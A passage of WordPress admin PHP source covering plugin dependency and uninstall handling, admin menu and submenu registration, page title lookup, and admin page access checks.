_x( 'Error: Current WordPress version (%1$s) does not meet minimum requirements for %2$s. The plugin requires WordPress %3$s.', 'plugin' ),
get_bloginfo( 'version' ),
$plugin_headers['Name'],
$requirements['requires']
) . '
'
);
}
WP_Plugin_Dependencies::initialize();
if ( WP_Plugin_Dependencies::has_unmet_dependencies( $plugin ) ) {
$dependency_names = WP_Plugin_Dependencies::get_dependency_names( $plugin );
$unmet_dependencies = array();
$unmet_dependency_names = array();
foreach ( $dependency_names as $dependency => $dependency_name ) {
$dependency_file = WP_Plugin_Dependencies::get_dependency_filepath( $dependency );
if ( false === $dependency_file ) {
$unmet_dependencies['not_installed'][ $dependency ] = $dependency_name;
$unmet_dependency_names[] = $dependency_name;
} elseif ( is_plugin_inactive( $dependency_file ) ) {
$unmet_dependencies['inactive'][ $dependency ] = $dependency_name;
$unmet_dependency_names[] = $dependency_name;
}
}
$error_message = sprintf(
/* translators: 1: Plugin name, 2: Number of plugins, 3: A comma-separated list of plugin names. */
_n(
'Error: %1$s requires %2$d plugin to be installed and activated: %3$s.',
'Error: %1$s requires %2$d plugins to be installed and activated: %3$s.',
count( $unmet_dependency_names )
),
$plugin_headers['Name'],
count( $unmet_dependency_names ),
implode( wp_get_list_item_separator(), $unmet_dependency_names )
);
if ( is_multisite() ) {
if ( current_user_can( 'manage_network_plugins' ) ) {
$error_message .= ' ' . sprintf(
/* translators: %s: Link to the plugins page. */
__( 'Manage plugins.' ),
esc_url( network_admin_url( 'plugins.php' ) )
);
} else {
$error_message .= ' ' . __( 'Please contact your network administrator.' );
}
} else {
$error_message .= ' ' . sprintf(
/* translators: %s: Link to the plugins page. */
__( 'Manage plugins.' ),
esc_url( admin_url( 'plugins.php' ) )
);
}
return new WP_Error(
'plugin_missing_dependencies',
"
{$error_message}
",
$unmet_dependencies
);
}
return true;
}
/**
* Determines whether the plugin can be uninstalled.
*
* @since 2.7.0
*
* @param string $plugin Path to the plugin file relative to the plugins directory.
* @return bool Whether plugin can be uninstalled.
*/
function is_uninstallable_plugin( $plugin ) {
$file = plugin_basename( $plugin );
$uninstallable_plugins = (array) get_option( 'uninstall_plugins' );
if ( isset( $uninstallable_plugins[ $file ] ) || file_exists( WP_PLUGIN_DIR . '/' . dirname( $file ) . '/uninstall.php' ) ) {
return true;
}
return false;
}
/**
* Uninstalls a single plugin.
*
* Calls the uninstall hook, if it is available.
*
* @since 2.7.0
*
* @param string $plugin Path to the plugin file relative to the plugins directory.
* @return true|void True if a plugin's uninstall.php file has been found and included.
* Void otherwise.
*/
function uninstall_plugin( $plugin ) {
$file = plugin_basename( $plugin );
$uninstallable_plugins = (array) get_option( 'uninstall_plugins' );
/**
* Fires in uninstall_plugin() immediately before the plugin is uninstalled.
*
* @since 4.5.0
*
* @param string $plugin Path to the plugin file relative to the plugins directory.
* @param array $uninstallable_plugins Uninstallable plugins.
*/
do_action( 'pre_uninstall_plugin', $plugin, $uninstallable_plugins );
if ( file_exists( WP_PLUGIN_DIR . '/' . dirname( $file ) . '/uninstall.php' ) ) {
if ( isset( $uninstallable_plugins[ $file ] ) ) {
unset( $uninstallable_plugins[ $file ] );
update_option( 'uninstall_plugins', $uninstallable_plugins );
}
unset( $uninstallable_plugins );
define( 'WP_UNINSTALL_PLUGIN', $file );
wp_register_plugin_realpath( WP_PLUGIN_DIR . '/' . $file );
include_once WP_PLUGIN_DIR . '/' . dirname( $file ) . '/uninstall.php';
return true;
}
if ( isset( $uninstallable_plugins[ $file ] ) ) {
$callable = $uninstallable_plugins[ $file ];
unset( $uninstallable_plugins[ $file ] );
update_option( 'uninstall_plugins', $uninstallable_plugins );
unset( $uninstallable_plugins );
wp_register_plugin_realpath( WP_PLUGIN_DIR . '/' . $file );
include_once WP_PLUGIN_DIR . '/' . $file;
add_action( "uninstall_{$file}", $callable );
/**
* Fires in uninstall_plugin() once the plugin has been uninstalled.
*
* The action concatenates the 'uninstall_' prefix with the basename of the
* plugin passed to uninstall_plugin() to create a dynamically-named action.
*
* @since 2.7.0
*/
do_action( "uninstall_{$file}" );
}
}
//
// Menu.
//
/**
* Adds a top-level menu page.
*
* This function takes a capability which will be used to determine whether
* or not a page is included in the menu.
*
* The function which is hooked in to handle the output of the page must check
* that the user has the required capability as well.
*
* @since 1.5.0
*
* @global array $menu
* @global array $admin_page_hooks
* @global array $_registered_pages
* @global array $_parent_pages
*
* @param string $page_title The text to be displayed in the title tags of the page when the menu is selected.
* @param string $menu_title The text to be used for the menu.
* @param string $capability The capability required for this menu to be displayed to the user.
* @param string $menu_slug The slug name to refer to this menu by. Should be unique for this menu page and only
* include lowercase alphanumeric, dashes, and underscores characters to be compatible
* with sanitize_key().
* @param callable $callback Optional. The function to be called to output the content for this page.
* @param string $icon_url Optional. The URL to the icon to be used for this menu.
* * Pass a base64-encoded SVG using a data URI, which will be colored to match
* the color scheme. This should begin with 'data:image/svg+xml;base64,'.
* * Pass the name of a Dashicons helper class to use a font icon,
* e.g. 'dashicons-chart-pie'.
* * Pass 'none' to leave div.wp-menu-image empty so an icon can be added via CSS.
* @param int|float $position Optional. The position in the menu order this item should appear.
* @return string The resulting page's hook_suffix.
*/
function add_menu_page( $page_title, $menu_title, $capability, $menu_slug, $callback = '', $icon_url = '', $position = null ) {
global $menu, $admin_page_hooks, $_registered_pages, $_parent_pages;
$menu_slug = plugin_basename( $menu_slug );
$admin_page_hooks[ $menu_slug ] = sanitize_title( $menu_title );
$hookname = get_plugin_page_hookname( $menu_slug, '' );
if ( ! empty( $callback ) && ! empty( $hookname ) && current_user_can( $capability ) ) {
add_action( $hookname, $callback );
}
if ( empty( $icon_url ) ) {
$icon_url = 'dashicons-admin-generic';
$icon_class = 'menu-icon-generic ';
} else {
$icon_url = set_url_scheme( $icon_url );
$icon_class = '';
}
$new_menu = array( $menu_title, $capability, $menu_slug, $page_title, 'menu-top ' . $icon_class . $hookname, $hookname, $icon_url );
if ( null !== $position && ! is_numeric( $position ) ) {
_doing_it_wrong(
__FUNCTION__,
sprintf(
/* translators: %s: add_menu_page() */
__( 'The seventh parameter passed to %s should be numeric representing menu position.' ),
'add_menu_page()'
),
'6.0.0'
);
$position = null;
}
if ( null === $position || ! is_numeric( $position ) ) {
$menu[] = $new_menu;
} elseif ( isset( $menu[ (string) $position ] ) ) {
$collision_avoider = base_convert( substr( md5( $menu_slug . $menu_title ), -4 ), 16, 10 ) * 0.00001;
$position = (string) ( $position + $collision_avoider );
$menu[ $position ] = $new_menu;
} else {
/*
* Cast menu position to a string.
*
* This allows for floats to be passed as the position. PHP will normally cast a float to an
* integer value, this ensures the float retains its mantissa (positive fractional part).
*
* A string containing an integer value, eg "10", is treated as a numeric index.
*/
$position = (string) $position;
$menu[ $position ] = $new_menu;
}
$_registered_pages[ $hookname ] = true;
// No parent as top level.
$_parent_pages[ $menu_slug ] = false;
return $hookname;
}
/**
* Adds a submenu page.
*
* This function takes a capability which will be used to determine whether
* or not a page is included in the menu.
*
* The function which is hooked in to handle the output of the page must check
* that the user has the required capability as well.
*
* @since 1.5.0
* @since 5.3.0 Added the `$position` parameter.
*
* @global array $submenu
* @global array $menu
* @global array $_wp_real_parent_file
* @global bool $_wp_submenu_nopriv
* @global array $_registered_pages
* @global array $_parent_pages
*
* @param string $parent_slug The slug name for the parent menu (or the file name of a standard
* WordPress admin page).
* @param string $page_title The text to be displayed in the title tags of the page when the menu
* is selected.
* @param string $menu_title The text to be used for the menu.
* @param string $capability The capability required for this menu to be displayed to the user.
* @param string $menu_slug The slug name to refer to this menu by. Should be unique for this menu
* and only include lowercase alphanumeric, dashes, and underscores characters
* to be compatible with sanitize_key().
* @param callable $callback Optional. The function to be called to output the content for this page.
* @param int|float $position Optional. The position in the menu order this item should appear.
* @return string|false The resulting page's hook_suffix, or false if the user does not have the capability required.
*/
function add_submenu_page( $parent_slug, $page_title, $menu_title, $capability, $menu_slug, $callback = '', $position = null ) {
global $submenu, $menu, $_wp_real_parent_file, $_wp_submenu_nopriv,
$_registered_pages, $_parent_pages;
$menu_slug = plugin_basename( $menu_slug );
$parent_slug = plugin_basename( $parent_slug );
if ( isset( $_wp_real_parent_file[ $parent_slug ] ) ) {
$parent_slug = $_wp_real_parent_file[ $parent_slug ];
}
if ( ! current_user_can( $capability ) ) {
$_wp_submenu_nopriv[ $parent_slug ][ $menu_slug ] = true;
return false;
}
/*
* If the parent doesn't already have a submenu, add a link to the parent
* as the first item in the submenu. If the submenu file is the same as the
* parent file someone is trying to link back to the parent manually. In
* this case, don't automatically add a link back to avoid duplication.
*/
if ( ! isset( $submenu[ $parent_slug ] ) && $menu_slug !== $parent_slug ) {
foreach ( (array) $menu as $parent_menu ) {
if ( $parent_menu[2] === $parent_slug && current_user_can( $parent_menu[1] ) ) {
$submenu[ $parent_slug ][] = array_slice( $parent_menu, 0, 4 );
}
}
}
$new_sub_menu = array( $menu_title, $capability, $menu_slug, $page_title );
if ( null !== $position && ! is_numeric( $position ) ) {
_doing_it_wrong(
__FUNCTION__,
sprintf(
/* translators: %s: add_submenu_page() */
__( 'The seventh parameter passed to %s should be numeric representing menu position.' ),
'add_submenu_page()'
),
'5.3.0'
);
$position = null;
}
if (
null === $position ||
( ! isset( $submenu[ $parent_slug ] ) || $position >= count( $submenu[ $parent_slug ] ) )
) {
$submenu[ $parent_slug ][] = $new_sub_menu;
} else {
// Test for a negative position.
$position = max( $position, 0 );
if ( 0 === $position ) {
// For negative or `0` positions, prepend the submenu.
array_unshift( $submenu[ $parent_slug ], $new_sub_menu );
} else {
$position = absint( $position );
// Grab all of the items before the insertion point.
$before_items = array_slice( $submenu[ $parent_slug ], 0, $position, true );
// Grab all of the items after the insertion point.
$after_items = array_slice( $submenu[ $parent_slug ], $position, null, true );
// Add the new item.
$before_items[] = $new_sub_menu;
// Merge the items.
$submenu[ $parent_slug ] = array_merge( $before_items, $after_items );
}
}
// Sort the parent array.
ksort( $submenu[ $parent_slug ] );
$hookname = get_plugin_page_hookname( $menu_slug, $parent_slug );
if ( ! empty( $callback ) && ! empty( $hookname ) ) {
add_action( $hookname, $callback );
}
$_registered_pages[ $hookname ] = true;
/*
* Backward-compatibility for plugins using add_management_page().
* See wp-admin/admin.php for redirect from edit.php to tools.php.
*/
if ( 'tools.php' === $parent_slug ) {
$_registered_pages[ get_plugin_page_hookname( $menu_slug, 'edit.php' ) ] = true;
}
// No parent as top level.
$_parent_pages[ $menu_slug ] = $parent_slug;
return $hookname;
}
/**
* Adds a submenu page to the Tools main menu.
*
* This function takes a capability which will be used to determine whether
* or not a page is included in the menu.
*
* The function which is hooked in to handle the output of the page must check
* that the user has the required capability as well.
*
* @since 1.5.0
* @since 5.3.0 Added the `$position` parameter.
*
* @param string $page_title The text to be displayed in the title tags of the page when the menu is selected.
* @param string $menu_title The text to be used for the menu.
* @param string $capability The capability required for this menu to be displayed to the user.
* @param string $menu_slug The slug name to refer to this menu by (should be unique for this menu).
* @param callable $callback Optional. The function to be called to output the content for this page.
* @param int $position Optional. The position in the menu order this item should appear.
* @return string|false The resulting page's hook_suffix, or false if the user does not have the capability required.
*/
function add_management_page( $page_title, $menu_title, $capability, $menu_slug, $callback = '', $position = null ) {
return add_submenu_page( 'tools.php', $page_title, $menu_title, $capability, $menu_slug, $callback, $position );
}
/**
* Adds a submenu page to the Settings main menu.
*
* This function takes a capability which will be used to determine whether
* or not a page is included in the menu.
*
* The function which is hooked in to handle the output of the page must check
* that the user has the required capability as well.
*
* @since 1.5.0
* @since 5.3.0 Added the `$position` parameter.
*
* @param string $page_title The text to be displayed in the title tags of the page when the menu is selected.
* @param string $menu_title The text to be used for the menu.
* @param string $capability The capability required for this menu to be displayed to the user.
* @param string $menu_slug The slug name to refer to this menu by (should be unique for this menu).
* @param callable $callback Optional. The function to be called to output the content for this page.
* @param int $position Optional. The position in the menu order this item should appear.
* @return string|false The resulting page's hook_suffix, or false if the user does not have the capability required.
*/
function add_options_page( $page_title, $menu_title, $capability, $menu_slug, $callback = '', $position = null ) {
return add_submenu_page( 'options-general.php', $page_title, $menu_title, $capability, $menu_slug, $callback, $position );
}
/**
* Adds a submenu page to the Appearance main menu.
*
* This function takes a capability which will be used to determine whether
* or not a page is included in the menu.
*
* The function which is hooked in to handle the output of the page must check
* that the user has the required capability as well.
*
* @since 2.0.0
* @since 5.3.0 Added the `$position` parameter.
*
* @param string $page_title The text to be displayed in the title tags of the page when the menu is selected.
* @param string $menu_title The text to be used for the menu.
* @param string $capability The capability required for this menu to be displayed to the user.
* @param string $menu_slug The slug name to refer to this menu by (should be unique for this menu).
* @param callable $callback Optional. The function to be called to output the content for this page.
* @param int $position Optional. The position in the menu order this item should appear.
* @return string|false The resulting page's hook_suffix, or false if the user does not have the capability required.
*/
function add_theme_page( $page_title, $menu_title, $capability, $menu_slug, $callback = '', $position = null ) {
return add_submenu_page( 'themes.php', $page_title, $menu_title, $capability, $menu_slug, $callback, $position );
}
/**
* Adds a submenu page to the Plugins main menu.
*
* This function takes a capability which will be used to determine whether
* or not a page is included in the menu.
*
* The function which is hooked in to handle the output of the page must check
* that the user has the required capability as well.
*
* @since 3.0.0
* @since 5.3.0 Added the `$position` parameter.
*
* @param string $page_title The text to be displayed in the title tags of the page when the menu is selected.
* @param string $menu_title The text to be used for the menu.
* @param string $capability The capability required for this menu to be displayed to the user.
* @param string $menu_slug The slug name to refer to this menu by (should be unique for this menu).
* @param callable $callback Optional. The function to be called to output the content for this page.
* @param int $position Optional. The position in the menu order this item should appear.
* @return string|false The resulting page's hook_suffix, or false if the user does not have the capability required.
*/
function add_plugins_page( $page_title, $menu_title, $capability, $menu_slug, $callback = '', $position = null ) {
return add_submenu_page( 'plugins.php', $page_title, $menu_title, $capability, $menu_slug, $callback, $position );
}
/**
* Adds a submenu page to the Users/Profile main menu.
*
* This function takes a capability which will be used to determine whether
* or not a page is included in the menu.
*
* The function which is hooked in to handle the output of the page must check
* that the user has the required capability as well.
*
* @since 2.1.3
* @since 5.3.0 Added the `$position` parameter.
*
* @param string $page_title The text to be displayed in the title tags of the page when the menu is selected.
* @param string $menu_title The text to be used for the menu.
* @param string $capability The capability required for this menu to be displayed to the user.
* @param string $menu_slug The slug name to refer to this menu by (should be unique for this menu).
* @param callable $callback Optional. The function to be called to output the content for this page.
* @param int $position Optional. The position in the menu order this item should appear.
* @return string|false The resulting page's hook_suffix, or false if the user does not have the capability required.
*/
function add_users_page( $page_title, $menu_title, $capability, $menu_slug, $callback = '', $position = null ) {
if ( current_user_can( 'edit_users' ) ) {
$parent = 'users.php';
} else {
$parent = 'profile.php';
}
return add_submenu_page( $parent, $page_title, $menu_title, $capability, $menu_slug, $callback, $position );
}
/**
* Adds a submenu page to the Dashboard main menu.
*
* This function takes a capability which will be used to determine whether
* or not a page is included in the menu.
*
* The function which is hooked in to handle the output of the page must check
* that the user has the required capability as well.
*
* @since 2.7.0
* @since 5.3.0 Added the `$position` parameter.
*
* @param string $page_title The text to be displayed in the title tags of the page when the menu is selected.
* @param string $menu_title The text to be used for the menu.
* @param string $capability The capability required for this menu to be displayed to the user.
* @param string $menu_slug The slug name to refer to this menu by (should be unique for this menu).
* @param callable $callback Optional. The function to be called to output the content for this page.
* @param int $position Optional. The position in the menu order this item should appear.
* @return string|false The resulting page's hook_suffix, or false if the user does not have the capability required.
*/
function add_dashboard_page( $page_title, $menu_title, $capability, $menu_slug, $callback = '', $position = null ) {
return add_submenu_page( 'index.php', $page_title, $menu_title, $capability, $menu_slug, $callback, $position );
}
/**
* Adds a submenu page to the Posts main menu.
*
* This function takes a capability which will be used to determine whether
* or not a page is included in the menu.
*
* The function which is hooked in to handle the output of the page must check
* that the user has the required capability as well.
*
* @since 2.7.0
* @since 5.3.0 Added the `$position` parameter.
*
* @param string $page_title The text to be displayed in the title tags of the page when the menu is selected.
* @param string $menu_title The text to be used for the menu.
* @param string $capability The capability required for this menu to be displayed to the user.
* @param string $menu_slug The slug name to refer to this menu by (should be unique for this menu).
* @param callable $callback Optional. The function to be called to output the content for this page.
* @param int $position Optional. The position in the menu order this item should appear.
* @return string|false The resulting page's hook_suffix, or false if the user does not have the capability required.
*/
function add_posts_page( $page_title, $menu_title, $capability, $menu_slug, $callback = '', $position = null ) {
return add_submenu_page( 'edit.php', $page_title, $menu_title, $capability, $menu_slug, $callback, $position );
}
/**
* Adds a submenu page to the Media main menu.
*
* This function takes a capability which will be used to determine whether
* or not a page is included in the menu.
*
* The function which is hooked in to handle the output of the page must check
* that the user has the required capability as well.
*
* @since 2.7.0
* @since 5.3.0 Added the `$position` parameter.
*
* @param string $page_title The text to be displayed in the title tags of the page when the menu is selected.
* @param string $menu_title The text to be used for the menu.
* @param string $capability The capability required for this menu to be displayed to the user.
* @param string $menu_slug The slug name to refer to this menu by (should be unique for this menu).
* @param callable $callback Optional. The function to be called to output the content for this page.
* @param int $position Optional. The position in the menu order this item should appear.
* @return string|false The resulting page's hook_suffix, or false if the user does not have the capability required.
*/
function add_media_page( $page_title, $menu_title, $capability, $menu_slug, $callback = '', $position = null ) {
return add_submenu_page( 'upload.php', $page_title, $menu_title, $capability, $menu_slug, $callback, $position );
}
/**
* Adds a submenu page to the Links main menu.
*
* This function takes a capability which will be used to determine whether
* or not a page is included in the menu.
*
* The function which is hooked in to handle the output of the page must check
* that the user has the required capability as well.
*
* @since 2.7.0
* @since 5.3.0 Added the `$position` parameter.
*
* @param string $page_title The text to be displayed in the title tags of the page when the menu is selected.
* @param string $menu_title The text to be used for the menu.
* @param string $capability The capability required for this menu to be displayed to the user.
* @param string $menu_slug The slug name to refer to this menu by (should be unique for this menu).
* @param callable $callback Optional. The function to be called to output the content for this page.
* @param int $position Optional. The position in the menu order this item should appear.
* @return string|false The resulting page's hook_suffix, or false if the user does not have the capability required.
*/
function add_links_page( $page_title, $menu_title, $capability, $menu_slug, $callback = '', $position = null ) {
return add_submenu_page( 'link-manager.php', $page_title, $menu_title, $capability, $menu_slug, $callback, $position );
}
/**
* Adds a submenu page to the Pages main menu.
*
* This function takes a capability which will be used to determine whether
* or not a page is included in the menu.
*
* The function which is hooked in to handle the output of the page must check
* that the user has the required capability as well.
*
* @since 2.7.0
* @since 5.3.0 Added the `$position` parameter.
*
* @param string $page_title The text to be displayed in the title tags of the page when the menu is selected.
* @param string $menu_title The text to be used for the menu.
* @param string $capability The capability required for this menu to be displayed to the user.
* @param string $menu_slug The slug name to refer to this menu by (should be unique for this menu).
* @param callable $callback Optional. The function to be called to output the content for this page.
* @param int $position Optional. The position in the menu order this item should appear.
* @return string|false The resulting page's hook_suffix, or false if the user does not have the capability required.
*/
function add_pages_page( $page_title, $menu_title, $capability, $menu_slug, $callback = '', $position = null ) {
return add_submenu_page( 'edit.php?post_type=page', $page_title, $menu_title, $capability, $menu_slug, $callback, $position );
}
/**
* Adds a submenu page to the Comments main menu.
*
* This function takes a capability which will be used to determine whether
* or not a page is included in the menu.
*
* The function which is hooked in to handle the output of the page must check
* that the user has the required capability as well.
*
* @since 2.7.0
* @since 5.3.0 Added the `$position` parameter.
*
* @param string $page_title The text to be displayed in the title tags of the page when the menu is selected.
* @param string $menu_title The text to be used for the menu.
* @param string $capability The capability required for this menu to be displayed to the user.
* @param string $menu_slug The slug name to refer to this menu by (should be unique for this menu).
* @param callable $callback Optional. The function to be called to output the content for this page.
* @param int $position Optional. The position in the menu order this item should appear.
* @return string|false The resulting page's hook_suffix, or false if the user does not have the capability required.
*/
function add_comments_page( $page_title, $menu_title, $capability, $menu_slug, $callback = '', $position = null ) {
return add_submenu_page( 'edit-comments.php', $page_title, $menu_title, $capability, $menu_slug, $callback, $position );
}
/**
* Removes a top-level admin menu.
*
* Example usage:
*
* - `remove_menu_page( 'tools.php' )`
* - `remove_menu_page( 'plugin_menu_slug' )`
*
* @since 3.1.0
*
* @global array $menu
*
* @param string $menu_slug The slug of the menu.
* @return array|false The removed menu on success, false if not found.
*/
function remove_menu_page( $menu_slug ) {
global $menu;
foreach ( $menu as $i => $item ) {
if ( $menu_slug === $item[2] ) {
unset( $menu[ $i ] );
return $item;
}
}
return false;
}
/**
* Removes an admin submenu.
*
* Example usage:
*
* - `remove_submenu_page( 'themes.php', 'nav-menus.php' )`
* - `remove_submenu_page( 'tools.php', 'plugin_submenu_slug' )`
* - `remove_submenu_page( 'plugin_menu_slug', 'plugin_submenu_slug' )`
*
* @since 3.1.0
*
* @global array $submenu
*
* @param string $menu_slug The slug for the parent menu.
* @param string $submenu_slug The slug of the submenu.
* @return array|false The removed submenu on success, false if not found.
*/
function remove_submenu_page( $menu_slug, $submenu_slug ) {
global $submenu;
if ( ! isset( $submenu[ $menu_slug ] ) ) {
return false;
}
foreach ( $submenu[ $menu_slug ] as $i => $item ) {
if ( $submenu_slug === $item[2] ) {
unset( $submenu[ $menu_slug ][ $i ] );
return $item;
}
}
return false;
}
/**
* Gets the URL to access a particular menu page based on the slug it was registered with.
*
* If the slug hasn't been registered properly, no URL will be returned.
*
* @since 3.0.0
*
* @global array $_parent_pages
*
* @param string $menu_slug The slug name to refer to this menu by (should be unique for this menu).
* @param bool $display Optional. Whether or not to display the URL. Default true.
* @return string The menu page URL.
*/
function menu_page_url( $menu_slug, $display = true ) {
global $_parent_pages;
if ( isset( $_parent_pages[ $menu_slug ] ) ) {
$parent_slug = $_parent_pages[ $menu_slug ];
if ( $parent_slug && ! isset( $_parent_pages[ $parent_slug ] ) ) {
$url = admin_url( add_query_arg( 'page', $menu_slug, $parent_slug ) );
} else {
$url = admin_url( 'admin.php?page=' . $menu_slug );
}
} else {
$url = '';
}
$url = esc_url( $url );
if ( $display ) {
echo $url;
}
return $url;
}
//
// Pluggable Menu Support -- Private.
//
/**
* Gets the parent file of the current admin page.
*
* @since 1.5.0
*
* @global string $parent_file
* @global array $menu
* @global array $submenu
* @global string $pagenow The filename of the current screen.
* @global string $typenow The post type of the current screen.
* @global string $plugin_page
* @global array $_wp_real_parent_file
* @global array $_wp_menu_nopriv
* @global array $_wp_submenu_nopriv
*
* @param string $parent_page Optional. The slug name for the parent menu (or the file name
* of a standard WordPress admin page). Default empty string.
* @return string The parent file of the current admin page.
*/
function get_admin_page_parent( $parent_page = '' ) {
global $parent_file, $menu, $submenu, $pagenow, $typenow,
$plugin_page, $_wp_real_parent_file, $_wp_menu_nopriv, $_wp_submenu_nopriv;
if ( ! empty( $parent_page ) && 'admin.php' !== $parent_page ) {
if ( isset( $_wp_real_parent_file[ $parent_page ] ) ) {
$parent_page = $_wp_real_parent_file[ $parent_page ];
}
return $parent_page;
}
if ( 'admin.php' === $pagenow && isset( $plugin_page ) ) {
foreach ( (array) $menu as $parent_menu ) {
if ( $parent_menu[2] === $plugin_page ) {
$parent_file = $plugin_page;
if ( isset( $_wp_real_parent_file[ $parent_file ] ) ) {
$parent_file = $_wp_real_parent_file[ $parent_file ];
}
return $parent_file;
}
}
if ( isset( $_wp_menu_nopriv[ $plugin_page ] ) ) {
$parent_file = $plugin_page;
if ( isset( $_wp_real_parent_file[ $parent_file ] ) ) {
$parent_file = $_wp_real_parent_file[ $parent_file ];
}
return $parent_file;
}
}
if ( isset( $plugin_page ) && isset( $_wp_submenu_nopriv[ $pagenow ][ $plugin_page ] ) ) {
$parent_file = $pagenow;
if ( isset( $_wp_real_parent_file[ $parent_file ] ) ) {
$parent_file = $_wp_real_parent_file[ $parent_file ];
}
return $parent_file;
}
foreach ( array_keys( (array) $submenu ) as $parent_page ) {
foreach ( $submenu[ $parent_page ] as $submenu_array ) {
if ( isset( $_wp_real_parent_file[ $parent_page ] ) ) {
$parent_page = $_wp_real_parent_file[ $parent_page ];
}
if ( ! empty( $typenow ) && "$pagenow?post_type=$typenow" === $submenu_array[2] ) {
$parent_file = $parent_page;
return $parent_page;
} elseif ( empty( $typenow ) && $pagenow === $submenu_array[2]
&& ( empty( $parent_file ) || ! str_contains( $parent_file, '?' ) )
) {
$parent_file = $parent_page;
return $parent_page;
} elseif ( isset( $plugin_page ) && $plugin_page === $submenu_array[2] ) {
$parent_file = $parent_page;
return $parent_page;
}
}
}
if ( empty( $parent_file ) ) {
$parent_file = '';
}
return '';
}
/**
* Gets the title of the current admin page.
*
* @since 1.5.0
*
* @global string $title The title of the current screen.
* @global array $menu
* @global array $submenu
* @global string $pagenow The filename of the current screen.
* @global string $typenow The post type of the current screen.
* @global string $plugin_page
*
* @return string The title of the current admin page.
*/
function get_admin_page_title() {
global $title, $menu, $submenu, $pagenow, $typenow, $plugin_page;
if ( ! empty( $title ) ) {
return $title;
}
$hook = get_plugin_page_hook( $plugin_page, $pagenow );
$parent = get_admin_page_parent();
$parent1 = $parent;
if ( empty( $parent ) ) {
foreach ( (array) $menu as $menu_array ) {
if ( isset( $menu_array[3] ) ) {
if ( $menu_array[2] === $pagenow ) {
$title = $menu_array[3];
return $menu_array[3];
} elseif ( isset( $plugin_page ) && $plugin_page === $menu_array[2] && $hook === $menu_array[5] ) {
$title = $menu_array[3];
return $menu_array[3];
}
} else {
$title = $menu_array[0];
return $title;
}
}
} else {
foreach ( array_keys( $submenu ) as $parent ) {
foreach ( $submenu[ $parent ] as $submenu_array ) {
if ( isset( $plugin_page )
&& $plugin_page === $submenu_array[2]
&& ( $pagenow === $parent
|| $plugin_page === $parent
|| $plugin_page === $hook
|| 'admin.php' === $pagenow && $parent1 !== $submenu_array[2]
|| ! empty( $typenow ) && "$pagenow?post_type=$typenow" === $parent )
) {
$title = $submenu_array[3];
return $submenu_array[3];
}
if ( $submenu_array[2] !== $pagenow || isset( $_GET['page'] ) ) { // Not the current page.
continue;
}
if ( isset( $submenu_array[3] ) ) {
$title = $submenu_array[3];
return $submenu_array[3];
} else {
$title = $submenu_array[0];
return $title;
}
}
}
if ( empty( $title ) ) {
foreach ( $menu as $menu_array ) {
if ( isset( $plugin_page )
&& $plugin_page === $menu_array[2]
&& 'admin.php' === $pagenow
&& $parent1 === $menu_array[2]
) {
$title = $menu_array[3];
return $menu_array[3];
}
}
}
}
return $title;
}
/**
* Gets the hook attached to the administrative page of a plugin.
*
* @since 1.5.0
*
* @param string $plugin_page The slug name of the plugin page.
* @param string $parent_page The slug name for the parent menu (or the file name of a standard
* WordPress admin page).
* @return string|null Hook attached to the plugin page, null otherwise.
*/
function get_plugin_page_hook( $plugin_page, $parent_page ) {
$hook = get_plugin_page_hookname( $plugin_page, $parent_page );
if ( has_action( $hook ) ) {
return $hook;
} else {
return null;
}
}
/**
* Gets the hook name for the administrative page of a plugin.
*
* @since 1.5.0
*
* @global array $admin_page_hooks
*
* @param string $plugin_page The slug name of the plugin page.
* @param string $parent_page The slug name for the parent menu (or the file name of a standard
* WordPress admin page).
* @return string Hook name for the plugin page.
*/
function get_plugin_page_hookname( $plugin_page, $parent_page ) {
global $admin_page_hooks;
$parent = get_admin_page_parent( $parent_page );
$page_type = 'admin';
if ( empty( $parent_page ) || 'admin.php' === $parent_page || isset( $admin_page_hooks[ $plugin_page ] ) ) {
if ( isset( $admin_page_hooks[ $plugin_page ] ) ) {
$page_type = 'toplevel';
} elseif ( isset( $admin_page_hooks[ $parent ] ) ) {
$page_type = $admin_page_hooks[ $parent ];
}
} elseif ( isset( $admin_page_hooks[ $parent ] ) ) {
$page_type = $admin_page_hooks[ $parent ];
}
$plugin_name = preg_replace( '!\.php!', '', $plugin_page );
return $page_type . '_page_' . $plugin_name;
}
/**
* Determines whether the current user can access the current admin page.
*
* @since 1.5.0
*
* @global string $pagenow The filename of the current screen.
* @global array $menu
* @global array $submenu
* @global array $_wp_menu_nopriv
* @global array $_wp_submenu_nopriv
* @global string $plugin_page
* @global array $_registered_pages
*
* @return bool True if the current user can access the admin page, false otherwise.
*/
function user_can_access_admin_page() {
global $pagenow, $menu, $submenu, $_wp_menu_nopriv, $_wp_submenu_nopriv,
$plugin_page, $_registered_pages;
$parent = get_admin_page_parent();
if ( ! isset( $plugin_page ) && isset( $_wp_submenu_nopriv[ $parent ][ $pagenow ] ) ) {
return false;
}
if ( isset( $plugin_page ) ) {
if ( isset( $_wp_submenu_nopriv[ $parent ][ $plugin_page ] ) ) {
return false;
}
$hookname = get_plugin_page_hookname( $plugin_page, $parent );
if ( ! isset( $_registered_pages[ $hookname ] ) ) {
return false;
}
}
if ( empty( $parent ) ) {
if ( isset( $_wp_menu_nopriv[ $pagenow ] ) ) {
return false;
}
if ( isset( $_wp_submenu_nopriv[ $pagenow ][ $pagenow ] ) ) {
return false;
}
if ( isset( $plugin_page ) && isset( $_wp_submenu_nopriv[ $pagenow ][ $plugin_page ] ) ) {
return false;
}
if ( isset( $plugin_page ) && isset( $_wp_menu_nopriv[ $plugin_page ] ) ) {
return false;
}
foreach ( array_keys( $_wp_submenu_nopriv ) as $key ) {
if ( isset( $_wp_submenu_nopriv[ $key ][ $pagenow ] ) ) {
return false;
}
if ( isset( $plugin_page ) && isset( $_wp_submenu_nopriv[ $key ][ $plugin_page ] ) ) {
return false;
}
}
return true;
}
if ( isset( $plugin_page ) && $plugin_page === $parent && isset( $_wp_menu_nopriv[ $plugin_page ] ) ) {
return false;
}
if ( isset( $submenu[ $parent ] ) ) {
foreach ( $submenu[ $parent ] as $submenu_array ) {
if ( isset( $plugin_page ) && $submenu_array[2] === $plugin_page ) {
return current_user_can( $submenu_array[1] );
} elseif ( $submenu_array[2] === $pagenow ) {
return current_user_can( $submenu_array[1] );
}
}
}
foreach ( $menu as $menu_array ) {
if ( $menu_array[2] === $parent ) {
return current_user_can( $menu_array[1] );
}
}
return true;
}
/* Allowed list functions */
/**
* Refreshes the value of the allowed options list available via the 'allowed_options' hook.
*
* See the {@see 'allowed_options'} filter.
*
* @since 2.7.0
* @since 5.5.0 `$new_whitelist_options` was renamed to `$new_allowed_options`.
* Please consider writing more inclusive code.
*
* @global array $new_allowed_options
*
